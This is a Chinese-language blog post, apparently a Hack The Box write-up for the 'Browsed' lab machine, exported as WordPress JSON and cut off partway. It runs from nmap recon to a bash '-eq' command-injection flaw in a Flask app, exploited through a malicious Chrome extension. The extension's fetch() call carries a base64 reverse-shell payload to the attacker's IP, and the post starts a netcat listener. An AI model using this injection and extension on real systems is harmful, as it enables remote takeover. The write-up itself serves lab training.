{"id":360,"date":"2026-01-11T21:05:34","date_gmt":"2026-01-11T13:05:34","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=360"},"modified":"2026-01-29T16:24:01","modified_gmt":"2026-01-29T08:24:01","slug":"360","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2026\/01\/11\/360\/","title":{"rendered":"HTB\u9776\u673a Browsed \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code><strong>10.129.4.64<\/strong><\/code><strong>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.129.4.64 (10.129.4.64) 56(84) bytes of data.\n64 bytes from 10.129.4.64: icmp_seq=1 ttl=63 time=316 ms\n64 bytes from 10.129.4.64: icmp_seq=2 ttl=63 time=315 ms\n64 bytes from 10.129.4.64: icmp_seq=3 ttl=63 time=313 ms\n64 bytes from 10.129.4.64: icmp_seq=4 ttl=63 time=310 ms\n\n--- 10.129.4.64 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3005ms\nrtt min\/avg\/max\/mdev = 310.459\/313.546\/315.746\/1.979 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u901a\u4fe1\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Jan 11 07:05:59 2026 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.4.64\nWarning: 10.129.4.64 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.4.64\nHost is up (0.34s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT   STATE         SERVICE\n22\/tcp open|filtered ssh\n80\/tcp open|filtered http\n\n# Nmap done at Sun Jan 11 07:06:35 2026 -- 1 IP address (1 host up) scanned in 35.61 seconds<\/code><\/pre>\n<p>\u9776\u673a\u7591\u4f3c\u5f00\u653e<code>2<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Jan 11 07:08:41 2026 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.4.64\nNmap scan report for 10.129.4.64\nHost is up (0.31s latency).\nNot shown: 65519 closed tcp ports (conn-refused)\nPORT      STATE    SERVICE       VERSION\n22\/tcp    open     ssh           OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)\n|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)\n80\/tcp    open     http          nginx 1.24.0 (Ubuntu)\n|_http-title: Browsed\n|_http-server-header: nginx\/1.24.0 (Ubuntu)\n3204\/tcp  filtered netwatcher-db\n4146\/tcp  filtered tgcconnect\n11901\/tcp filtered unknown\n17708\/tcp filtered unknown\n20167\/tcp filtered tolfab\n26788\/tcp filtered unknown\n28841\/tcp filtered unknown\n30374\/tcp filtered unknown\n36330\/tcp filtered unknown\n39199\/tcp filtered unknown\n43271\/tcp filtered unknown\n43453\/tcp filtered unknown\n48642\/tcp filtered unknown\n61135\/tcp filtered unknown\nDevice type: general purpose\nRunning: Linux 4.X|5.X\nOS CPE: cpe:\/o:linux:linux_kernel:4 cpe:\/o:linux:linux_kernel:5\nOS details: Linux 4.15 - 5.19\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   509.49 ms 10.10.16.1\n2   306.19 ms 10.129.4.64\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Jan 11 07:09:50 2026 -- 1 IP address (1 host up) scanned in 69.06 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Jan 11 07:10:50 2026 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.4.64\nWarning: 10.129.4.64 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.4.64\nHost is up (0.32s latency).\nAll 65535 scanned ports on 10.129.4.64 are in ignored states.\nNot shown: 65288 open|filtered udp ports (no-response), 247 closed udp ports (port-unreach)\n\n# Nmap done at Sun Jan 11 07:14:59 2026 -- 1 IP address (1 host up) scanned in 249.28 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\uff0c\u9776\u673a\u8fd0\u884c<code>Ubuntu Linux<\/code>\u64cd\u4f5c\u7cfb\u7edf\uff0c\u5f00\u653e\u4e86<code>22\/ssh<\/code>\u548c<code>80\/http<\/code>\u670d\u52a1\uff0c<code>Web<\/code>\u4e2d\u95f4\u4ef6\u4e3a<code>Nginx v1.24.0<\/code>\uff0c\u6839\u636e<code>HackTheBox<\/code>\u9776\u673a\u5236\u4f5c\u89c4\u5219\uff0c\u4e3b\u57df\u540d\u5e94\u4e3a<code>browsed.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>ssh<\/code>\u5de5\u5177\u8fde\u63a5\u9776\u673a\uff0c\u786e\u5b9a\u53ef\u4f7f\u7528\u7684\u767b\u5f55\u65b9\u5f0f\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh root@browsed.htb<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768087140567-e0a0bd88-ebb5-4dca-878c-bf18ce313520.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a<code>SSH<\/code>\u670d\u52a1\u5141\u8bb8\u4f7f\u7528\u5bc6\u94a5\u548c\u5bc6\u7801\u767b\u5f55\u3002<\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/browsed.htb\/<\/code><\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768128352921-f4208c65-79d2-49fd-b9c1-f81d77c1a3e8.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e3b\u9875\u4e3a\u4e00\u5bb6\u6d4f\u89c8\u5668\u63d2\u4ef6\u5f00\u53d1\u516c\u53f8\u7684\u7ad9\u70b9\uff0c\u9875\u9762\u53f3\u4e0a\u89d2\u5b58\u5728<code>Samples<\/code>\u548c<code>Upload Extension<\/code>\u94fe\u63a5\u3002<\/p>\n<p>\u9996\u5148\u70b9\u51fb<code>Samples<\/code>\uff0c\u8df3\u8f6c\u5230\u4e86<code>\/samples.html<\/code>\uff0c\u53d1\u73b0\u4e3a\u51e0\u4e2a\u6d4f\u89c8\u5668\u63d2\u4ef6\u7684\u4e0b\u8f7d\u754c\u9762\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768128572341-05d94a9c-196e-4576-81e6-8776db989919.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u70b9\u51fb\u4e0a\u4f20\u63d2\u4ef6\u94fe\u63a5\uff0c\u8df3\u8f6c\u5230\u4e86<code>\/upload.php<\/code>\u754c\u9762\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768128675223-43269e4c-32d0-48fe-8789-ed8008f26ae2.png\" alt=\"\" \/><\/p>\n<p>\u663e\u7136\u8be5\u9875\u9762\u4e3a<code>Chrome<\/code>\u63d2\u4ef6\u4e0a\u4f20\u70b9\uff0c\u4e0a\u4f20\u6309\u94ae\u4e0b\u65b9\u8fd8\u6709\u4e00\u4e2a\u6587\u672c\u6846\uff0c\u6839\u636e\u8bf4\u660e\u6587\u672c\uff0c\u5f53\u63d2\u4ef6\u88ab\u6210\u529f\u4e0a\u4f20\u540e\uff0c\u4e00\u4f4d\u5f00\u53d1\u4eba\u5458\u4f1a\u5bf9\u63d2\u4ef6\u8fdb\u884c\u8c03\u8bd5\uff0c\u5e76\u4e14\u8fd4\u56de\u4e00\u4e9b\u56de\u9988\u4fe1\u606f\u3002<\/p>\n<p>\u67e5\u770b\u7f51\u9875\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u7528\u6237\u70b9\u51fb\u4e0a\u4f20\u6309\u94ae\u540e\uff0c\u524d\u7aef\u4f1a\u8c03\u7528<code>pollOutput()<\/code>\u65b9\u6cd5\uff0c\u8bf7\u6c42<code>\/upload.php?output=1<\/code>\u63a5\u53e3\u83b7\u53d6\u56de\u9988\u4fe1\u606f\uff0c\u5e76\u5c06\u4fe1\u606f\u6dfb\u52a0\u81f3\u6587\u672c\u6846\u4e2d\uff1a<\/p>\n<pre><code class=\"language-javascript\">function pollOutput() {\n  fetch('upload.php?output=1')\n    .then(r =&gt; r.text())\n    .then(txt =&gt; {\n      \/\/ Split output into lines\n      const lines = txt.split('n');\n      \/\/ Build output preserving line breaks\n      const outputElem = document.getElementById('output');\n      outputElem.innerHTML = ''; \/\/ Clear previous\n      lines.forEach(line =&gt; {\n        if (line.includes('extension')) {\n          const span = document.createElement('span');\n          span.style.color = 'red';\n          span.textContent = line;\n          outputElem.appendChild(span);\n        } else {\n          outputElem.appendChild(document.createTextNode(line));\n        }\n        outputElem.appendChild(document.createTextNode('n'));\n      });\n    });\n}<\/code><\/pre>\n<p>\u76f4\u63a5\u8fd4\u56de<code>\/samples.html<\/code>\uff0c\u968f\u4fbf\u9009\u62e9\u4e00\u4e2a\u63d2\u4ef6\u5305\u4e0b\u8f7d\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768129533216-66408c11-c446-4c0a-8b85-fd5ce2df42b0.png\" alt=\"\" \/><\/p>\n<p>\u63a5\u7740\u5c06\u63d2\u4ef6\u5305\u4e0a\u4f20\uff0c\u7b49\u5f85\u4e00\u4f1a\u513f\u540e\uff0c\u9875\u9762\u8fd4\u56de\u4e86\u5927\u91cf\u8c03\u8bd5\u65e5\u5fd7\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768129877483-9dbb0742-e876-41d0-b2f0-6a647ed77004.png\" alt=\"\" \/><\/p>\n<p>\u8bbf\u95ee<code>\/upload.php?output=1<\/code>\u63a5\u53e3\uff0c\u83b7\u53d6\u5168\u90e8\u8c03\u8bd5\u65e5\u5fd7\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768130023878-60a4fe3b-69b6-460f-9718-eaf184195af6.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8fd4\u56de\u7684\u201c\u8c03\u8bd5\u65e5\u5fd7\u201d\u5b9e\u9645\u4e0a\u662f<code>ChromeDriver<\/code>\u65e0\u5934\u6d4f\u89c8\u5668\u9a71\u52a8\u7684\u8fd0\u884c\u65e5\u5fd7\u3002\u9010\u884c\u7ffb\u770b\uff0c\u5728\u7b2c<code>162<\/code>\u884c\u51fa\u73b0\u4e86\u4e00\u4e2a\u65b0\u57df\u540d<code>browsedinternals.htb<\/code>\uff1a<\/p>\n<pre><code class=\"language-plain\">[5782:5787:0111\/111047.412820:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http:\/\/browsedinternals.htb\/<\/code><\/pre>\n<p>\u5c06\u8be5\u57df\u540d\u6dfb\u52a0\u5230<code>\/etc\/hosts<\/code>\u6587\u4ef6\u4e2d\uff0c\u968f\u540e\u8bbf\u95ee\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768130236514-beecb507-2343-4cff-90f3-c8810493a516.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0<code>Gitea<\/code>\u6e90\u4ee3\u7801\u7ba1\u7406\u7cfb\u7edf\uff01<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u5185\u7f51\u5e94\u7528\u6e90\u4ee3\u7801\u5ba1\u8ba1<\/h2>\n<p>\u6253\u5f00<code>Gitea<\/code>\u4ee3\u7801\u7ba1\u7406\u7cfb\u7edf\uff1a<code>http:\/\/browsedinternals.htb\/<\/code>\uff0c\u70b9\u51fb\u63a2\u7d22\u6309\u94ae\uff0c\u67e5\u770b\u516c\u5f00\u7684\u4ed3\u5e93\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768130430272-387b27f8-a647-4c05-ac30-2da14f8dffb3.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0<code>larry<\/code>\u7528\u6237\u62e5\u6709\u4e00\u4e2a\u540d\u4e3a<code>MarkdownPreview<\/code>\u7684\u4ee3\u7801\u4ed3\u5e93\uff0c\u4e14\u7f16\u7a0b\u8bed\u8a00\u4e3a<code>Python<\/code>\u3002\u9996\u5148\u67e5\u770b<code>app.py<\/code>\uff1a<\/p>\n<pre><code class=\"language-python\">from flask import Flask, request, send_from_directory, redirect\nfrom werkzeug.utils import secure_filename\n\nimport markdown\nimport os, subprocess\nimport uuid\n\napp = Flask(__name__)\nFILES_DIR = \"files\"\n\n# Ensure the files\/ directory exists\nos.makedirs(FILES_DIR, exist_ok=True)\n\n@app.route('\/')\ndef index():\n    return '''\n    &lt;h1&gt;Markdown Previewer&lt;\/h1&gt;\n    &lt;form action=\"\/submit\" method=\"POST\"&gt;\n        &lt;textarea name=\"content\" rows=\"10\" cols=\"80\"&gt;&lt;\/textarea&gt;&lt;br&gt;\n        &lt;input type=\"submit\" value=\"Render &amp; Save\"&gt;\n    &lt;\/form&gt;\n    &lt;p&gt;&lt;a href=\"\/files\"&gt;View saved HTML files&lt;\/a&gt;&lt;\/p&gt;\n    '''\n\n@app.route('\/submit', methods=['POST'])\ndef submit():\n    content = request.form.get('content', '')\n    if not content.strip():\n        return 'Empty content. &lt;a href=\"\/\"&gt;Go back&lt;\/a&gt;'\n\n    # Convert markdown to HTML\n    html = markdown.markdown(content)\n\n    # Save HTML to unique file\n    filename = f\"{uuid.uuid4().hex}.html\"\n    filepath = os.path.join(FILES_DIR, filename)\n    with open(filepath, 'w') as f:\n        f.write(html)\n\n    return f'''\n    &lt;p&gt;File saved as &lt;code&gt;{filename}&lt;\/code&gt;.&lt;\/p&gt;\n    &lt;p&gt;&lt;a href=\"\/view\/{filename}\"&gt;View Rendered HTML&lt;\/a&gt;&lt;\/p&gt;\n    &lt;p&gt;&lt;a href=\"\/\"&gt;Go back&lt;\/a&gt;&lt;\/p&gt;\n    '''\n\n@app.route('\/files')\ndef list_files():\n    files = [f for f in os.listdir(FILES_DIR) if f.endswith('.html')]\n    links = 'n'.join([f'&lt;li&gt;&lt;a href=\"\/view\/{f}\"&gt;{f}&lt;\/a&gt;&lt;\/li&gt;' for f in files])\n    return f'''\n    &lt;h1&gt;Saved HTML Files&lt;\/h1&gt;\n    &lt;ul&gt;{links}&lt;\/ul&gt;\n    &lt;p&gt;&lt;a href=\"\/\"&gt;Back to editor&lt;\/a&gt;&lt;\/p&gt;\n    '''\n\n@app.route('\/routines\/&lt;rid&gt;')\ndef routines(rid):\n    # Call the script that manages the routines\n    # Run bash script with the input as an argument (NO shell)\n    subprocess.run([\".\/routines.sh\", rid])\n    return \"Routine executed !\"\n\n@app.route('\/view\/&lt;filename&gt;')\ndef view_file(filename):\n    filename = secure_filename(filename)\n    if not filename.endswith('.html'):\n        return \"Invalid filename\", 400\n    return send_from_directory(FILES_DIR, filename)\n\n# The webapp should only be accessible through localhost\nif __name__ == '__main__':\n    app.run(host='127.0.0.1', port=5000)<\/code><\/pre>\n<p>\u8be5\u5e94\u7528\u7a0b\u5e8f\u4f7f\u7528\u4e86<code>Flask<\/code>\u7f51\u9875\u7f16\u7a0b\u6846\u67b6\uff0c\u4e14\u8bbe\u7f6e\u4e3a\u5728\u9776\u673a\u672c\u5730<code>5000\/tcp<\/code>\u7aef\u53e3\u76d1\u542c\u3002\u7c97\u7565\u5ba1\u8ba1\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0<code>\/routines\/&lt;rid&gt;<\/code>\u63a5\u53e3\u5bf9\u5e94\u7684\u65b9\u6cd5<code>routines()<\/code>\u4e2d\uff0c\u4f7f\u7528\u4e86<code>subprocess.run()<\/code>\u65b9\u6cd5\u6267\u884c\u4e86<code>Shell<\/code>\u811a\u672c<code>routines.sh<\/code>\uff0c\u53c2\u6570<code>rid<\/code>\u672a\u7ecf\u4efb\u4f55\u68c0\u67e5\u4e0e\u8fc7\u6ee4\uff0c\u5c31\u88ab\u76f4\u63a5\u5f53\u505a\u547d\u4ee4\u884c\u53c2\u6570\u4f20\u9012\u7ed9\u4e86<code>routines.sh<\/code>\u3002<\/p>\n<p>\u67e5\u770b<code>routines.sh<\/code>\u811a\u672c\u4ee3\u7801\uff1a<\/p>\n<pre><code class=\"language-bash\">#!\/bin\/bash\n\nROUTINE_LOG=\"\/home\/larry\/markdownPreview\/log\/routine.log\"\nBACKUP_DIR=\"\/home\/larry\/markdownPreview\/backups\"\nDATA_DIR=\"\/home\/larry\/markdownPreview\/data\"\nTMP_DIR=\"\/home\/larry\/markdownPreview\/tmp\"\n\nlog_action() {\n  echo \"[$(date '+%Y-%m-%d %H:%M:%S')] $1\" &gt;&gt; \"$ROUTINE_LOG\"\n}\n\nif [[ \"$1\" -eq 0 ]]; then\n  # Routine 0: Clean temp files\n  find \"$TMP_DIR\" -type f -name \"*.tmp\" -delete\n  log_action \"Routine 0: Temporary files cleaned.\"\n  echo \"Temporary files cleaned.\"\n\nelif [[ \"$1\" -eq 1 ]]; then\n  # Routine 1: Backup data\n  tar -czf \"$BACKUP_DIR\/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz\" \"$DATA_DIR\"\n  log_action \"Routine 1: Data backed up to $BACKUP_DIR.\"\n  echo \"Backup completed.\"\n\nelif [[ \"$1\" -eq 2 ]]; then\n  # Routine 2: Rotate logs\n  find \"$ROUTINE_LOG\" -type f -name \"*.log\" -exec gzip {} ;\n  log_action \"Routine 2: Log files compressed.\"\n  echo \"Logs rotated.\"\n\nelif [[ \"$1\" -eq 3 ]]; then\n  # Routine 3: System info dump\n  uname -a &gt; \"$BACKUP_DIR\/sysinfo_$(date '+%Y%m%d').txt\"\n  df -h &gt;&gt; \"$BACKUP_DIR\/sysinfo_$(date '+%Y%m%d').txt\"\n  log_action \"Routine 3: System info dumped.\"\n  echo \"System info saved.\"\n\nelse\n  log_action \"Unknown routine ID: $1\"\n  echo \"Routine ID not implemented.\"\nfi<\/code><\/pre>\n<p>\u867d\u7136\u9664\u4e86\u4f20\u5165\u7684<code>rid<\/code>\u53c2\u6570\u5916\uff0c\u811a\u672c\u5185\u6ca1\u6709\u4efb\u4f55\u53d8\u91cf\u53ef\u88ab\u63a7\u5236\uff0c\u4f46\u811a\u672c\u4f7f\u7528\u4e86<code>-eq<\/code>\u8fd0\u7b97\u7b26\uff0c\u76f4\u63a5\u5c06\u4f20\u5165\u53c2\u6570<code>$1<\/code>\u548c\u6570\u5b57\u8fdb\u884c\u4e86\u6bd4\u8f83\uff0c\u7528\u4e8e\u533a\u5206\u7528\u6237\u9009\u62e9\u7684\u529f\u80fd\u3002\u9762\u5bf9\u8fd9\u79cd\u60c5\u51b5\uff0c\u6211\u4eec\u53ef\u4ee5\u4f20\u5165\u4e00\u4e2a\u4f7f\u7528\u5b57\u7b26\u4e32\u4f5c\u4e3a\u7d22\u5f15\u7684<code>Bash<\/code>\u6570\u7ec4\uff0c\u5f53\u7d22\u5f15\u5b57\u7b26\u4e32\u4e3a\u547d\u4ee4\u66ff\u6362\u7b26<code>$()<\/code>\u65f6\uff0c<code>Bash Shell<\/code>\u5c06\u6267\u884c\u66ff\u6362\u7b26\u5185\u7684\u547d\u4ee4\uff0c\u4ee5\u83b7\u53d6\u7d22\u5f15\u5b57\u7b26\u4e32\u7684\u5177\u4f53\u503c\uff0c\u6b64\u65f6\u5c31\u51fa\u73b0\u4e86\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u3002<\/p>\n<p>\u4f8b\u5982\uff0c\u5982\u679c\u6211\u4eec\u60f3\u6267\u884c<code>id<\/code>\u547d\u4ee4\uff0c\u5219\u4f20\u5165\u53c2\u6570\u503c\u53ea\u9700\u8981\u4e3a\uff1a<code>a[$(id &gt;&amp;2)]+1<\/code>\uff0c\u5c31\u53ef\u4ee5\u8fbe\u5230\u60f3\u8981\u7684\u76ee\u7684\u3002<\/p>\n<blockquote><p>\u6ce8\uff1a\u5173\u4e8e\u8be5\u79cd\u547d\u4ee4\u6267\u884c\u6280\u5de7\u7684\u8be6\u7ec6\u5206\u6790\uff0c\u53ef\u9605\u8bfb<a href=\"https:\/\/exploit-notes.hdks.org\/exploit\/linux\/privilege-escalation\/bash-eq\/\" target=\"_blank\"  rel=\"nofollow\" >Bash eq Privilege Escalation - Exploit Notes<\/a>.<\/p><\/blockquote>\n<p>\u7ed3\u5408\u9776\u673a\u4f1a\u81ea\u52a8\u5b89\u88c5\u5e76\u6253\u5f00\u4e0a\u4f20\u7684<code>Chrome<\/code>\u63d2\u4ef6\u538b\u7f29\u5305\u7684\u60c5\u51b5\u8fdb\u884c\u7efc\u5408\u5206\u6790\uff0c\u53d1\u73b0\u53ef\u4ee5\u7f16\u5199\u4e00\u4e2a\u6076\u610f<code>Chrome<\/code>\u63d2\u4ef6\u4e0a\u4f20\uff0c\u4f7f\u9776\u673a\u8c03\u8bd5\u7a0b\u5e8f\u6253\u5f00\u65f6\uff0c\u81ea\u52a8\u6267\u884c<code>fetch()<\/code>\u65b9\u6cd5\uff0c\u5411\u5b58\u5728\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u7684\u5185\u7f51<code>Web<\/code>\u670d\u52a1\u53d1\u9001<code>Payload<\/code>\u5b8c\u6210\u653b\u51fb\u3002<\/p>\n<h2>\u6076\u610fChrome\u63d2\u4ef6\u53d1\u9001RCE\u8bf7\u6c42<\/h2>\n<p>\u5728\u5148\u524d\u7684\u4ee3\u7801\u5ba1\u8ba1\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0\u4e86\u5185\u7f51<code>Web<\/code>\u670d\u52a1\u5b58\u5728\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u4e14\u786e\u5b9a\u53ef\u4ee5\u4e0a\u4f20\u6076\u610f<code>Chrome<\/code>\u63d2\u4ef6\u53d1\u9001<code>Payload<\/code>\u8bf7\u6c42\uff0c\u73b0\u5728\u8fdb\u884c\u5229\u7528\u3002<\/p>\n<p>\u9996\u5148\u7f16\u5199\u63d2\u4ef6\u7684<code>manifest.json<\/code>\uff1a<\/p>\n<pre><code class=\"language-json\">{\n  \"manifest_version\": 3,\n  \"name\": \"revshell\",\n  \"version\": \"0.1\",\n  \"description\": \"revshell\",\n  \"background\": {\n    \"service_worker\": \"background.js\"\n  },\n  \"host_permissions\": [\n    \"*:\/\/127.0.0.1\/*\", \"*:\/\/localhost\/*\"\n  ]\n}<\/code><\/pre>\n<blockquote><p>\u6ce8\uff1a\u7f16\u5199<code>ManiFest<\/code>\u65f6\u9700\u8981\u6307\u5b9a<code>host_permissions<\/code>\uff0c\u5141\u8bb8\u63d2\u4ef6\u8bbf\u95ee\u6307\u5b9a\u683c\u5f0f\u7684<code>URL<\/code>\uff0c\u5426\u5219\u63d2\u4ef6\u65e0\u6cd5\u53d1\u51fa\u8bf7\u6c42\u3002<\/p><\/blockquote>\n<p>\u63a5\u7740\u7f16\u5199<code>Payload<\/code>\uff0c\u7531\u4e8e<code>Web<\/code>\u670d\u52a1\u4f1a\u5c06\u53cd\u659c\u6760\u5f53\u4f5c<code>URI<\/code>\u7684\u4e00\u90e8\u5206\uff0c\u6211\u4eec\u9700\u8981\u5c06\u547d\u4ee4\u4f7f\u7528<code>Base64<\/code>\u7f16\u7801\uff0c\u901a\u8fc7\u89e3\u7801\u547d\u4ee4<code>base64 -d<\/code>\u548c\u7ba1\u9053\u7b26\u914d\u5408\u6267\u884c\u53cd\u5f39<code>Shell<\/code>\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">a[(echo \"L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjExNy80NDMgMD4mMScK\"|base64 -d|bash &gt;&amp;2)]+42<\/code><\/pre>\n<p>\u5c06<code>Payload<\/code>\u8fdb\u884c<code>URL<\/code>\u7f16\u7801\u540e\uff0c\u65b0\u5efa<code>background.js<\/code>\uff0c\u5c06\u7f16\u7801\u540e\u7684<code>Payload<\/code>\u52a0\u5165\u76ee\u6807<code>URL<\/code>\uff1a<\/p>\n<pre><code class=\"language-javascript\">async function revshell() {\n  fetch(\"http:\/\/127.0.0.1:5000\/routines\/%61%5b%28%65%63%68%6f%20%22%4c%32%4a%70%62%69%39%69%59%58%4e%6f%49%43%31%6a%49%43%64%69%59%58%4e%6f%49%43%31%70%49%44%34%6d%49%43%39%6b%5a%58%59%76%64%47%4e%77%4c%7a%45%77%4c%6a%45%77%4c%6a%45%32%4c%6a%45%78%4e%79%38%30%4e%44%4d%67%4d%44%34%6d%4d%53%63%4b%22%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%20%3e%26%32%29%5d%2b%34%32\", { mode: \"no-cors\" }).catch(() =&gt; {});\n}\nrevshell();<\/code><\/pre>\n<p>\u7f16\u5199\u5b8c\u6bd5\u540e\uff0c\u6253\u5305\u4e3a<code>revshell.zip<\/code>\u6587\u4ef6\uff0c\u540c\u65f6\u5728\u672c\u5730\u542f\u52a8<code>netcat<\/code>\u76d1\u542c\uff1a<\/p>\n<pre><code class=\"language-shell\">rlwrap nc -l -p 443 -s 10.10.17.116<\/code><\/pre>\n<p>\u7136\u540e\u4e0a\u4f20\u6253\u5305\u7684\u63d2\u4ef6\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768133610438-7d02e890-1f6d-45fb-ba63-c17f1e0ad45c.png\" alt=\"\" \/><\/p>\n<p>\u524d\u7aef\u83b7\u53d6\u5230\u65e5\u5fd7\u4fe1\u606f\u540c\u65f6\uff0c\u547d\u4ee4\u4e5f\u88ab\u6267\u884c\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" 